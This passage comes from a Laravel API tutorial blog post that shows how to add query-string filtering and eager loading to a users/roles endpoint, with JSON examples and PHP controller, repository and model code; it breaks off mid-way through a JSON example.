Imagine having two resources: <code>/users</code> and <code>/roles</code>. A user can have many roles: <code>users 1 ----&gt; n roles</code>. Now assume that you are tasked with designing two things: </p> <ol> <li>A table list of all users and the name of their role</li> <li>A dropdown of all users with the role named 'Agent'</li> </ol> <p> Let us try to think about these views one at a time and the data they would need. </p> <h3 id="user-table-list">User table list</h3> <p> Okay, so this would be a table that lists all users on the site. Now, we want to display all the roles that is attached to each user in the list. </p> <p> <img src="/img/laravel-api-part-2/user-list.png" /> </p> <p> The data we would need to do so would be the role name of all the roles. Something along these lines. </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Elbek"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.kat@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Agent"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Yvonne"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.lone@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span></code></pre> </div> <h3 id="agent-dropdown">Agent dropdown</h3> <p> So this is a dropdown for selecting the ID of a user that has the role "Agent". </p> <p style="margin-bottom:0"> <img src="/img/laravel-api-part-2/customer-view.png" /> </p> <p> So we need a filtered version of the user data that only has agents in it. Like so: </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span></code></pre> </div> <p> Note here that we do not actually <i>need</i> the roles array of the user. Because we are not displaying any of this data in the view. </p> <h2 id="planning-the-endpoints">Planning the endpoints</h2> <p> Okay, so we now know the data that we will eventually need to construct the two views. Let us just summarize them here. </p> <p><strong>Table list</strong></p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Elbek"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.kat@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Agent"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Yvonne"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.lone@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span></code></pre> </div> <p><strong>Agent user dropdown</strong></p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span></code></pre> </div> <p> Now, one of the first questions we could ask ourselves could be: for the second data set, do we want to filter the users in the API or in the client? Let us just imagine for a second that the endpoint <code>/users</code> always returns the top data set. Then to get all the agents in javascript view we could simply use a filter function. </p> <div class="language-javascript highlighter-rouge"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">agents</span> <span class="o">=</span> <span class="nx">users</span> <span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">user</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="nx">user</span><span class="p">.</span><span class="nx">roleNames</span> <span class="o">=</span> <span class="nx">user</span><span class="p">.</span><span class="nx">roles</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">role</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">role</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="k">return</span> <span class="nx">user</span><span class="p">;</span> <span class="p">})</span> <span class="p">.</span><span class="nx">filter</span><span class="p">((</span><span class="nx">user</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">user</span><span class="p">.</span><span class="nx">roleNames</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s1">'Agent'</span><span class="p">)</span> <span class="o">!==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> </code></pre> </div> <p> So, it is pretty simple to actually get all the agents out of the data set. However, this code does have a few risks. </p> <p> What happens if the underlying data model of the API changes? Imagine if the Agent role name changed to Super-Agent. Then we would not get the agents any more since we are looking specifically for roles named 'Agent'. What if the name property changed to title? I know these are all contrived examples, however they do demonstrate the risks of relying to heavily on the client to do these sort of things. </p> <p> Would it not be much better if the client could simply <i>request</i> all the agents from the API? </p> <p> And what about our users list: do we always want to load the roles whenever we are requesting the users? What about in a situation where we just want the users, but not their roles? Assuming the underlying database model is a relational is it not highly inefficient to load the roles when they are not needed? </p> <p> Given these goals we can quickly sum up a list of requirements: </p> <ol> <li>We want to be able to load users <i>without</i> their roles</li> <li>We want to be able to load users <i>with</i> their roles</li> <li>We want to be able to load users that have the agent role</li> </ol> <p> Let us look at the different strategies we can implement to achieve this. </p> <h3 id="the-bad-one-make-an-endpoint-for-each-data-set">The bad one: make an endpoint for each data set</h3> <p> One solution could be to simply make an endpoint per type of dataset. </p> <ul> <li><code>/users</code> returns users <i>without</i> their roles</li> <li><code>/users/with-roles</code> returns users <i>with</i> their roles</li> <li><code>/users/agents</code> returns users that are agents</li> </ul> <p> Hopefully I do not have to spend to much time explaining why this is a bad idea. When having so many different endpoints for the same underlying data it becomes a real <i>pain in the a$$&#8482;</i> to maintain. Whenever something has to change it will often result in an eksponential amount of changes elsewhere. </p> <h3 id="the-better-solution-resource-controls">The better solution: resource controls</h3> <p> Would it not be so much nicer if we could just do: </p> <ul> <li><code>/users</code> returns users <i>without</i> their roles</li> <li><code>/users?includes[]=roles</code> returns users <i>with</i> their roles</li> <li><code>/users?filters[]=isAgent:1</code> returns users that are agents</li> </ul> <p> Now we not only use the same endpoint but use query strings to filter and manipulate the data we need. </p> <h2 id="implementation">Implementation</h2> <p> To implement this I have written a small library: <a href="https://github.com/esbenp/bruno">Bruno</a>. To find more details about this library and its features you can read its README. </p> <p> So assume we have the application in place and we have a <code>User</code> model and a <code>Role</code> model. With a relation like so <code>User 1 ----&gt; n Role</code>. Then we can write a controller that looks like this: </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">App\Http\Controllers</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Api\Controller\EloquentBuilderTrait</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Api\Controller\LaravelController</span><span class="p">;</span> <span class="k">use</span> <span class="nx">App\Models\User</span><span class="p">;</span> <span class="k">class</span> <span class="nc">UserController</span> <span class="k">extends</span> <span class="nx">LaravelController</span> <span class="p">{</span> <span class="k">use</span> <span class="nx">EloquentBuilderTrait</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">getUsers</span><span class="p">()</span> <span class="p">{</span> <span class="c1">// Parse the resource options given by GET parameters </span> <span class="nv">$resourceOptions</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseResourceOptions</span><span class="p">();</span> <span class="c1">// Start a new query for books using Eloquent query builder </span> <span class="c1">// (This would normally live somewhere else, e.g. in a Repository) </span> <span class="nv">$query</span> <span class="o">=</span> <span class="nx">User</span><span class="o">::</span><span class="na">query</span><span class="p">();</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">applyResourceOptions</span><span class="p">(</span><span class="nv">$query</span><span class="p">,</span> <span class="nv">$resourceOptions</span><span class="p">);</span> <span class="nv">$books</span> <span class="o">=</span> <span class="nv">$query</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">();</span> <span class="c1">// Parse the data using Optimus\Architect </span> <span class="nv">$parsedData</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseData</span><span class="p">(</span><span class="nv">$books</span><span class="p">,</span> <span class="nv">$resourceOptions</span><span class="p">,</span> <span class="s1">'users'</span><span class="p">);</span> <span class="c1">// Create JSON response of parsed data </span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">response</span><span class="p">(</span><span class="nv">$parsedData</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> A few things are going on here which are worth to notice. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// Parse the resource options given by GET parameters </span><span class="nv">$resourceOptions</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseResourceOptions</span><span class="p">();</span> </code></pre> </div> <p> <code>parseResourceOptions</code> is a method of the base controller that will read our query strings (<code>?includes[]=roles</code> and <code>?filters[]=isAgent:1</code>) into a format that we can use. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">applyResourceOptions</span><span class="p">(</span><span class="nv">$query</span><span class="p">,</span> <span class="nv">$resourceOptions</span><span class="p">);</span> </code></pre> </div> <p> This is the method that will apply our different resource controls to the Eloquent query builder. In the case of <code>?includes[]=roles</code> it will run something like <code>$query-&gt;with('roles')</code> behind the scenes. </p> <p> It is important to note that <code>applyResourceOptions</code> is part of the <code>EloquentBuilderTrait</code> that we include in our controller. Why is this not a standard part of the base controller class? Because database logic should <u>not</u> be written in our controllers :-) </p> <h3 id="making-filters-work">Making filters work</h3> <p> So, I may have oversold the syntax of filters a little bit. <code>?filters[]=isAgent:1</code> sounded a little to good to be true, right? Actually, the reason the filter syntax is a bit more complex is because it contains a lot of cool functionality. </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"filter_groups"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"filters"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"isAgent"</span><span class="p">,</span><span class="w"> </span><span class="nt">"value"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"operator"</span><span class="p">:</span><span class="w"> </span><span class="s2">"eq"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p class="note"> The actual syntax of filters. </p> <p> You can do a lot more cool stuff with filters, and <a href="https://github.com/esbenp/bruno"> I suggest you check out the syntax in the Bruno repository</a>. </p> <p> The short version is that you can define several filter groups. Each filter group can contain many filters using operators such as <code>eq</code> (equals), <code>sw</code> (starts with), <code>lt</code> (less than), <code>in</code> and more. Think of each filter group as a parenthesis grouping in an if-statement. So for instance this example </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"filter_groups"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"or"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"filters"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"email"</span><span class="p">,</span><span class="w"> </span><span class="nt">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"@gmail.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"operator"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ew"</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"email"</span><span class="p">,</span><span class="w"> </span><span class="nt">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"@hotmail.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"operator"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ew"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"filters"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"name"</span><span class="p">,</span><span class="w"> </span><span class="nt">"value"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"Stan"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Eric"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Kyle"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Kenny"</span><span class="p">],</span><span class="w"> </span><span class="nt">"operator"</span><span class="p">:</span><span class="w"> </span><span class="s2">"in"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> If thought of as an if-statement would look like </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nx">endsWith</span><span class="p">(</span><span class="s1">'@gmail.com'</span><span class="p">,</span> <span class="nv">$email</span><span class="p">)</span> <span class="o">||</span> <span class="nx">endsWith</span><span class="p">(</span><span class="s1">'@hotmail.com'</span><span class="p">,</span> <span class="nv">$email</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="nb">in_array</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="p">[</span><span class="s1">'Stan'</span><span class="p">,</span> <span class="s1">'Eric'</span><span class="p">,</span> <span class="s1">'Kyle'</span><span class="p">,</span> <span class="s1">'Kenny'</span><span class="p">])</span> <span class="p">)</span> <span class="p">{</span> <span class="c1">// return user </span><span class="p">}</span> </code></pre> </div> <p class="note"> endsWith is a fictitious function </p> <p> So the query will return all users whoose email ends with <u>either</u> @gmail.com or @hotmail.com <u>and</u> whoose name is either Stan, Eric, Kyle or Kenny. Cool, yeah? </p> <p> Anywho, enough syntax. Let us make the 'isAgent' filter work. First of all remember to send the correct data with the request. Instead of <code>?filters[]=isAgent:1</code> the data is now </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"filter_groups"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"filters"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"isAgent"</span><span class="p">,</span><span class="w"> </span><span class="nt">"value"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"operator"</span><span class="p">:</span><span class="w"> </span><span class="s2">"eq"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> Or as query string </p> <div class="highlighter-rouge"><pre class="highlight"><code>?filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Bkey%5D=isAgent&amp;filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Bvalue%5D=true&amp;filter_groups%5B0%5D%5Bfilters%5D%5B0%5D%5Boperator%5D=eq </code></pre> </div> <p> Most AJAX libraries will automatically convert the JSON data to a query string on GET requests, so you really do not need to be a query string syntax wizard. jQuery even has the function <code>$.param</code> which can do it for you. </p> <p> The next thing we must do to make it work is to implement a custom filter. This is because there is no <code>isAgent</code> property on our <code>User</code> model. So when the controller applies our filter to the Eloquent query builder it will try to execute <code>$query-&gt;where('isAgent', true)</code> which will throw an error (since the column does not exist). Luckily the controller will look for custom filter methods: so let us implement that! </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">filterIsAgent</span><span class="p">(</span><span class="nx">Builder</span> <span class="nv">$query</span><span class="p">,</span> <span class="nv">$method</span><span class="p">,</span> <span class="nv">$clauseOperator</span><span class="p">,</span> <span class="nv">$value</span><span class="p">,</span> <span class="nv">$in</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// check if value is true </span> <span class="k">if</span> <span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$query</span><span class="o">-&gt;</span><span class="na">whereIn</span><span class="p">(</span><span class="s1">'roles.name'</span><span class="p">,</span> <span class="p">[</span><span class="s1">'Agent'</span><span class="p">]);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Add this method to our <code>UserController</code> and we are almost done. There is just one more thing. Whenever we are making a custom filter method the system will try to look for a relationship on the Eloquent model to join. That means in this case it will try to find a <code>isAgent</code> relationship on the model. This probably does not exist, but there does exist a relationship named <code>roles</code>. So we overcome this by adding the <code>isAgent</code> relationship to the model. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">isAgent</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">roles</span><span class="p">();</span> <span class="p">}</span> </code></pre> </div> <h3 id="making-it-work-with-larapi">Making it work with Larapi</h3> <p> So the above example is just a quick and dirty demonstration of how you can use Laravel controller to get resource controls. However, since we are doing a <a href="/2016/04/11/modern-rest-api-laravel-part-0/">series on creating a Laravel API</a> with my <a href="https://github.com/esbenp/larapi">API-friendly Laravel fork</a> let us see how this example would look using the <a href="/2016/04/11/modern-rest-api-laravel-part-1/">API structure</a> we laid out in part 1. </p> <h4 id="the-controller">The controller</h4> <p> In <code>UserController.php</code> the method for <code>GET /users</code> should be defined like </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">getAll</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$resourceOptions</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseResourceOptions</span><span class="p">();</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userService</span><span class="o">-&gt;</span><span class="na">getAll</span><span class="p">(</span><span class="nv">$resourceOptions</span><span class="p">);</span> <span class="nv">$parsedData</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseData</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$resourceOptions</span><span class="p">,</span> <span class="s1">'users'</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">response</span><span class="p">(</span><span class="nv">$parsedData</span><span class="p">);</span> <span class="p">}</span> </code></pre> </div> <p> So we pass along the resource control options to the service so it can pass it along to the repository. If your repositories extend my <a href="https://github.com/esbenp/genie">Eloquent repository base class Genie</a> it will already have the helper functions build-in needed to use the resource options. </p> <h4 id="the-service">The service</h4> <p> In the user service class, <code>UserService.php</code>, add the method to get users. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">getAll</span><span class="p">(</span><span class="nv">$options</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="nv">$options</span><span class="p">);</span> <span class="p">}</span> </code></pre> </div> <p> The <code>get</code> method of the repository is <a href="https://github.com/esbenp/genie/blob/master/src/Repository.php#L33"> build into the previously mentioned repository base class</a>, so we do not even need to implement it. </p> <h4 id="the-repository">The repository</h4> <p> Even though the <code>get</code> method is already implemented in the repository base class, we still need to implement the custom <code>isAgent</code> filter. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Api\Users\Repositories</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Database\Eloquent\Repository</span><span class="p">;</span> <span class="k">class</span> <span class="nc">UserRepository</span> <span class="k">extends</span> <span class="nx">Repository</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">filterIsAgent</span><span class="p">(</span><span class="nx">Builder</span> <span class="nv">$query</span><span class="p">,</span> <span class="nv">$method</span><span class="p">,</span> <span class="nv">$clauseOperator</span><span class="p">,</span> <span class="nv">$value</span><span class="p">,</span> <span class="nv">$in</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// check if value is true </span> <span class="k">if</span> <span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$query</span><span class="o">-&gt;</span><span class="na">whereIn</span><span class="p">(</span><span class="s1">'roles.name'</span><span class="p">,</span> <span class="p">[</span><span class="s1">'Agent'</span><span class="p">]);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <h4 id="the-model">The model</h4> <p> Lastly, we need to make sure the <code>User</code> model can join the <code>isAgent</code> relationship. Add the following relationship to the model. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">isAgent</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">roles</span><span class="p">();</span> <span class="p">}</span> </code></pre> </div> <h4 id="that-is-it">That is it</h4> <p> Yeah there is really nothing more to it. Now the <code>GET /users</code> endpoint has support for filtering, eager loading, pagination and sorting. Plus data structure composition. </p> <h2 id="data-structure-composition">Data structure composition?!</h2> <p> If you remember in our <code>UserController</code> we have the following line. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// Parse the data using Optimus\Architect </span><span class="nv">$parsedData</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">parseData</span><span class="p">(</span><span class="nv">$books</span><span class="p">,</span> <span class="nv">$resourceOptions</span><span class="p">,</span> <span class="s1">'users'</span><span class="p">);</span> </code></pre> </div> <p> So what the heck is <a href="https://github.com/esbenp/architect">Optimus\Architect</a>? It is a library we can use to define the composition of eager loaded relationships. Easier to explain by example. Imagine this user data: </p> <p><code>GET /users?includes[]=roles</code></p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"users"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Elbek"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.kat@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Agent"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> 